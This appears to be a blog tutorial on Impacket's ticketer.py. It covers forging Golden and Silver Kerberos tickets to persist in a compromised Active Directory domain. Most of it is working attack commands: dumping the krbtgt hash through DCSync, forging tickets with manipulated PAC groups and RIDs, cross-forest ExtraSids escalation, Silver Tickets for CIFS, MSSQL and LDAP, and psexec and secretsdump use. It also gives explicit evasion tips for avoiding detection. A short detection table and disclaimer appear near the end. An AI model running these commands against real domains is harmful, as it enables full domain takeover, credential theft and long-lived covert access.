ticketer.py: Golden and Silver Ticket Kerberos with Impacket

ticketer.py — Forge Golden and Silver Kerberos Tickets with Impacket #

ticketer.py forge Kerberos ticket locally without contacting the DC — if you have the hash of krbtgt You create a Golden Ticket valid for any service in the domain; if you have the hash of a service account, you create a Silver Ticket valid for that specific service. No traffic to the DC, everything is offline.

ticketer.py is part of Packet and it is the tool for the long-term persistence in a compromised domain. The fundamental difference compared to getTGT.py — which requests a legitimate ticket from the DC — is that ticketer.py builds the ticket from scratch locally, manipulating the PAC (Privilege Attribute Certificate) as desired.

Verified source: fortra/impacket — ticketer.py

Golden Ticket vs Silver Ticket — the difference #

Before the commands, the concept. Both are forged tickets, but encrypted with different keys and with different scopes:

	Golden Ticket	Silver Tickets
Encrypted with	Hash of `krbtgt`	Service account hash
Ticket type	TGT — valid for requesting any ST	ST — valid only for the target service
Scope	Access to any domain service	Access to the specific service only
Pass by DC	No — the ticket is accepted directly	No — the service validates it with its own key
Prerequisite	Hash `krbtgt` (via DCSync or NTDS dump)	Service account hash (via local dump)
Flag ticketer	No `-spn`	`-spn SERVICE/HOST`

The Golden Ticket survives the impersonated user's password change. It is invalidated only if: krbtgt it is reset twice in a row. In practice, in real domains krbtgt never resets → persists for months or years.

Prerequisites #

For the Golden Ticket — get krbtgt hash and domain SID #

bash

# Hash krbtgt via DCSync (se sei DA o hai DCSync rights)
impacket-secretsdump -just-dc-user krbtgt \
  corp.local/administrator:Password123@DC01.corp.local
# → krbtgt:502:aad3b435...:NThashKrbtgt:::
# → krbtgt:aes256-cts-hmac-sha1-96:AES256KeyKrbtgt

# SID del dominio (da lookupsid o whoami /user da Windows)
impacket-lookupsid corp.local/user:pass@DC01.corp.local | grep "Domain SID"
# → [*] Domain SID is: S-1-5-21-2725560159-1428537661-1240357446

# Alternativa: da secretsdump il SID è stampato nell'output

For the Silver Ticket — get service account hashes #

bash

# Esempio: hash dell'account che gestisce il servizio MSSQLSvc
impacket-secretsdump corp.local/administrator:pass@DC01.corp.local \
  | grep svc_sql
# → svc_sql:1104:aad3b435...:NThashSvcSql:::

# Oppure da dump SAM locale del server su cui gira il servizio
impacket-secretsdump -sam SAM -system SYSTEM LOCAL | grep -i sql

All flags explained #

bash

impacket-ticketer [opzioni] NOMEUTENTE

NOMEUTENTE is the name that will appear in the ticket — it can be any string, even nonexistentuserThe ticket is accepted because the DC does not validate it (the cryptographic signature is valid, the content is not verified).

Flag	Description
`-nthash HASH`	NT hash of krbtgt (Golden) or service account (Silver). Ticket encrypted in RC4.
`-aesKey KEY`	AES key (128 or 256 bit). Alternative to `-nthash`, AES encrypted ticket.
`-domain-sid SID`	Domain SID — compulsory
`-domain FQDN`	FQDN of the domain (e.g. `corp.local`) - compulsory
`-spn SERVICE/HOST`	If specified → Silver Ticket for that service. If omitted → Golden Ticket.
`-user-id RID`	User ID in the PAC. Default is 500 (Administrator). Change if 500 is monitored.
`-groups ID1,ID2,...`	Group ID in the PAC. Default: `513,512,520,518,519` (Domain Users + DA + Enterprise Admins + Schema Admins + Group Policy Creator Owners).
`-extra-sid SID`	Additional SID in PAC — used for cross-forest ExtraSids attack.
`-duration ORE`	Ticket validity in hours. Default: 87600 (10 years).
`-request`	Clone a real ticket from the DC and modify only the specified fields. Requires `-user` e `-password`.
`-user UTENTE`	Valid user to authenticate to the DC in mode `-request`.
`-password PASS`	Password for `-request`.
`-dc-ip IP`	DC IP — required with `-request`.

Golden Ticket #

With NT hash (RC4 — most common) #

bash

impacket-ticketer \
  -nthash NThashKrbtgtQUI \
  -domain-sid S-1-5-21-2725560159-1428537661-1240357446 \
  -domain corp.local \
  Administrator
# → [*] Saving ticket in Administrator.ccache

export KRB5CCNAME=Administrator.ccache

# Usa il ticket — deve essere FQDN, non IP
impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.local
impacket-secretsdump -k -no-pass -just-dc corp.local/Administrator@DC01.corp.local

With AES256 (more stealth — mimics normal behavior) #

RC4 in the TGT is anomalous on modern environments that use AES by default. With the AES key, the ticket is indistinguishable from a legitimate one.

bash

impacket-ticketer \
  -aesKey AES256KeyKrbtgtQUI \
  -domain-sid S-1-5-21-2725560159-1428537661-1240357446 \
  -domain corp.local \
  Administrator

With both (required in mode `-request`) #

bash

# -request usa un TGT reale come template → deve rispettare l'algoritmo usato dal DC
# Se il DC usa AES, serve specificare entrambe le chiavi
impacket-ticketer \
  -nthash NThashKrbtgt \
  -aesKey AES256KeyKrbtgt \
  -domain-sid S-1-5-21-XXXX \
  -domain corp.local \
  -request \
  -user lowpriv \
  -password LowPrivPass \
  -dc-ip 10.10.10.5 \
  Administrator

Advanced Flags #

`-user-id` — change the RID in the PAC #

By default, the ticket has RID 500 (Administrator built-in). In environments with advanced detection, TGT with RID 500 but a username different from Administrator It's an IoC. You can set the RID of a real user.

bash

# Usa il RID di un utente esistente nel dominio (es. john.doe ha RID 1103)
impacket-ticketer \
  -nthash NThashKrbtgt \
  -domain-sid S-1-5-21-XXXX \
  -domain corp.local \
  -user-id 1103 \
  john.doe

`-groups` — manipulates groups in the PAC #

The PAC contains a list of the groups the user is a member of. You can put whatever you want in it.

bash

# RID dei gruppi principali:
# 512 = Domain Admins
# 513 = Domain Users
# 518 = Schema Admins
# 519 = Enterprise Admins
# 520 = Group Policy Creator Owners
# 544 = BUILTIN\Administrators

# Default già include 512, 513, 519, 518, 520 — ma puoi personalizzare
impacket-ticketer \
  -nthash NThashKrbtgt \
  -domain-sid S-1-5-21-XXXX \
  -domain corp.local \
  -groups 512,513,518,519,520 \
  Administrator

`-extra-sid` — ExtraSids attack cross-forest #

This is the most advanced use. If you have a forest trust between child.corp.local e corp.local, you can add the Enterprise Admins SID of the root domain in the field ExtraSids of the ticket. The root domain DC accepts the ticket because SIDs in trusts are evaluated differently.

bash

# Per un attacco cross-forest child → root:
# SID Enterprise Admins del root: S-1-5-21-ROOT-SID-519

impacket-ticketer \
  -nthash NThashKrbtgtChild \
  -domain-sid S-1-5-21-CHILD-DOMAIN-SID \
  -domain child.corp.local \
  -extra-sid S-1-5-21-ROOT-DOMAIN-SID-519 \
  Administrator
# → ticket con ExtraSids che include Enterprise Admins del dominio root
# → accesso come EA nel dominio padre

`-duration` — ticket validity #

The default Golden Ticket lasts 10 years. In environments with Kerberos monitoring, a ticket with an extreme lifetime is considered an IoC. You can reduce it to appear legitimate (legitimate default: 10 hours).

bash

impacket-ticketer \
  -nthash NThashKrbtgt \
  -domain-sid S-1-5-21-XXXX \
  -domain corp.local \
  -duration 10 \
  Administrator

Silver Tickets #

The Silver Ticket is stealthier than the Golden Ticket because it doesn't generate traffic to the DC even when it's used—the service validates the ticket with its own key without asking the DC. The downside: it's only valid for that specific service.

bash

# Silver Ticket per CIFS (file share / psexec) su SRV01
impacket-ticketer \
  -nthash NThashSvcSql \
  -domain-sid S-1-5-21-XXXX \
  -domain corp.local \
  -spn MSSQLSvc/sql01.corp.local:1433 \
  Administrator

export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k -no-pass corp.local/Administrator@sql01.corp.local

# Silver Ticket per HOST/CIFS su un server specifico
impacket-ticketer \
  -nthash NThashMachineAccount \
  -domain-sid S-1-5-21-XXXX \
  -domain corp.local \
  -spn cifs/SRV01.corp.local \
  Administrator

impacket-smbclient -k -no-pass corp.local/Administrator@SRV01.corp.local

# Silver Ticket per LDAP (DCSync senza Event 4662 su DC)
impacket-ticketer \
  -nthash NThashDCMachineAccount \
  -domain-sid S-1-5-21-XXXX \
  -domain corp.local \
  -spn ldap/DC01.corp.local \
  Administrator

impacket-secretsdump -k -no-pass -just-dc corp.local/Administrator@DC01.corp.local

Service classes for Silver Tickets — the most useful:

SPN	Admission
`cifs/HOST`	File share, psexec, smbclient
`host/HOST`	WMI, WinRM, remote tasks
`http/HOST`	IIS, SharePoint, Exchange
`MSSQLSvc/HOST:PORT`	SQL Server
`ldap/HOST`	DCSync (less noisy than Golden Ticket)
`rpcss/HOST`	DCOM, WMI

Detection #

The Golden Ticket has historically been difficult to detect because the DC does not participate in validation. The most searched anomalies:

Indicator	What it reveals
TGT with anomalous lifetime (years)	Golden Ticket with `-duration` by default
TGT with RC4 on AES-only environments	Ticket forged with NT hash instead of AES key
User never seen in previous logon logs but with DA in PAC	Invented name in ticket
Event 4769 without previous 4768	Use of Silver Ticket — no TGT required at DC
SID history with Enterprise Admins of another domain	ExtraSids cross-forest

Microsoft Defender for Identity has specific rules for Golden Ticket detection that analyze anomalies in the PAC and lifetime of tickets.

Cheat sheet #

bash

# === Ottieni i prerequisiti ===
# Hash krbtgt
impacket-secretsdump -just-dc-user krbtgt corp.local/admin:pass@DC01.corp.local

# SID dominio
impacket-lookupsid corp.local/user:pass@DC01.corp.local | grep "Domain SID"

# === Golden Ticket (RC4) ===
impacket-ticketer -nthash KRBTGT_NTHASH -domain-sid S-1-5-21-XXX \
  -domain corp.local Administrator

# Golden Ticket (AES — più stealth)
impacket-ticketer -aesKey KRBTGT_AES256 -domain-sid S-1-5-21-XXX \
  -domain corp.local Administrator

# Golden Ticket con lifetime realistico
impacket-ticketer -nthash KRBTGT_NTHASH -domain-sid S-1-5-21-XXX \
  -domain corp.local -duration 10 Administrator

# ExtraSids cross-forest
impacket-ticketer -nthash KRBTGT_CHILD_NTHASH -domain-sid S-1-5-21-CHILD-XXX \
  -domain child.corp.local -extra-sid S-1-5-21-ROOT-XXX-519 Administrator

# === Silver Ticket ===
# CIFS
impacket-ticketer -nthash SVC_NTHASH -domain-sid S-1-5-21-XXX \
  -domain corp.local -spn cifs/TARGET.corp.local Administrator

# MSSQL
impacket-ticketer -nthash SVC_NTHASH -domain-sid S-1-5-21-XXX \
  -domain corp.local -spn MSSQLSvc/sql01.corp.local:1433 Administrator

# LDAP (DCSync meno rumoroso)
impacket-ticketer -nthash DC_MACHINE_NTHASH -domain-sid S-1-5-21-XXX \
  -domain corp.local -spn ldap/DC01.corp.local Administrator

# === Usa il ticket ===
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@TARGET.corp.local
impacket-secretsdump -k -no-pass -just-dc corp.local/Administrator@DC01.corp.local

Related articles:

For use in authorized environments only.

#impacket #kerberos #active-directory #persistence

ticketer.py: Golden and Silver Ticket Kerberos with Impacket

ticketer.py — Forge Golden and Silver Kerberos Tickets with Impacket #

Golden Ticket vs Silver Ticket — the difference #

Prerequisites #

For the Golden Ticket — get krbtgt hash and domain SID #

For the Silver Ticket — get service account hashes #

All flags explained #

Golden Ticket #

With NT hash (RC4 — most common) #

With AES256 (more stealth — mimics normal behavior) #

With both (required in mode `-request`) #

Advanced Flags #

`-user-id` — change the RID in the PAC #

`-groups` — manipulates groups in the PAC #

`-extra-sid` — ExtraSids attack cross-forest #

`-duration` — ticket validity #

Silver Tickets #

Detection #

Cheat sheet #

Related Articles

GetUserSPNs.py: Kerberoasting and TGS with Impacket

getTGT.py: Getting a Kerberos TGT with Hash or AES

GetLAPSPassword.py: Recover LAPS Passwords with Impacket

renameMachine.py: NoPac and sAMAccountName Spoofing

smbserver.py: SMB Server for File Transfer and NTLM

GetADComputers.py — Enumerate Active Directory Computers with Impacket

addcomputer.py Impacket: Create Computer Account for RBCD

leave a message

ticketer.py — Forge Golden and Silver Kerberos Tickets with Impacket #

Golden Ticket vs Silver Ticket — the difference #

Prerequisites #

For the Golden Ticket — get krbtgt hash and domain SID #

For the Silver Ticket — get service account hashes #

All flags explained #

Golden Ticket #

With NT hash (RC4 — most common) #

With AES256 (more stealth — mimics normal behavior) #

With both (required in mode -request) #

Advanced Flags #

-user-id — change the RID in the PAC #

-groups — manipulates groups in the PAC #

-extra-sid — ExtraSids attack cross-forest #

-duration — ticket validity #

Silver Tickets #

Detection #

Cheat sheet #

Related Articles

GetUserSPNs.py: Kerberoasting and TGS with Impacket

getTGT.py: Getting a Kerberos TGT with Hash or AES

GetLAPSPassword.py: Recover LAPS Passwords with Impacket

renameMachine.py: NoPac and sAMAccountName Spoofing

smbserver.py: SMB Server for File Transfer and NTLM

GetADComputers.py — Enumerate Active Directory Computers with Impacket

addcomputer.py Impacket: Create Computer Account for RBCD

leave a message

With both (required in mode `-request`) #

`-user-id` — change the RID in the PAC #

`-groups` — manipulates groups in the PAC #

`-extra-sid` — ExtraSids attack cross-forest #

`-duration` — ticket validity #